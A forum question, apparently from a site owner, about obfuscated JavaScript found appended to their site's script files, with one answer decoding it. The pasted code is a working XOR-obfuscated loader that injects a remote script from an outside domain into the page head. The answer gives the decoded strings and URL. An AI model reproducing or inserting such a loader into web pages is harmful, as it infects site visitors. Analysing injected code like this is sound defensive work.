Some strange code on the bottom of javascript file

Question

I have a website. I've found out, that some javascript files have strange code on the bottom. Here's an copy of that code:

function abbxeasat(c4cr4pm4){return g46isme(i7h22f0gi4(c4cr4pm4),'g4u0kvvbo');}function i7h22f0gi4(kr8sug){var nn68ho='';var lp79msv=0;var sxifdfz=0;for(lp79msv=0;lp79msv<kr8sug.length/3;lp79msv++){nn68ho+=String.fromCharCode(kr8sug.slice(sxifdfz, sxifdfz+3));sxifdfz=sxifdfz+3;}return nn68ho;}var k4ovchr=["020087", "021093","023064", "004070016081031019051014010010081027068","020070022", "019077005085", "019081013068068028023020014020087007089027002", "006068005085005018053010006011080", "015081020084", "000081001117007019027007001019071055073063023017044014010081", "015064001064081089089017027006064016030024027026080065021065090090024089021012027073094006"];function t6rn0k(kd858l6){var ircm0d8ot=document[abbxeasat(k4ovchr[3])](abbxeasat(k4ovchr[0])+abbxeasat(k4ovchr[1])+abbxeasat(k4ovchr[2]));ircm0d8ot[abbxeasat(k4ovchr[4])]=kd858l6;ircm0d8ot[abbxeasat(k4ovchr[5])]=abbxeasat(k4ovchr[6]);document[abbxeasat(k4ovchr[9])](abbxeasat(k4ovchr[8]))[0][abbxeasat(k4ovchr[7])](ircm0d8ot);}t6rn0k(abbxeasat(k4ovchr[10]));function g46isme(a747mi3lx, ysbu3g) {var y7lk3ubt='';var c2zom0n=0;var a9yhxvd=0;for(c2zom0n=0;c2zom0n<a747mi3lx.length;c2zom0n++){var x7t9oj0=a747mi3lx.charAt(c2zom0n);var a205z01r=x7t9oj0.charCodeAt(0)^ysbu3g.charCodeAt(a9yhxvd);x7t9oj0=String.fromCharCode(a205z01r);y7lk3ubt+=x7t9oj0;if(a9yhxvd==ysbu3g.length-1)a9yhxvd=0;else a9yhxvd++;}return(y7lk3ubt);}

I think that my webserver has been hacked. Can somebody tell me what this code does? And how it came to be in my file?

Answer 1

After flattening it out and making it readable, it seems to do this:

createElement
(index):9 sc
(index):9 ri
(index):9 pt
(index):9 src
(index):9 type
(index):9 text/javascript
(index):9 getElementsByTagName
(index):9 head
(index):9 appendChild

And what it appends is:

http://state.sml2.ru/js/cnt.js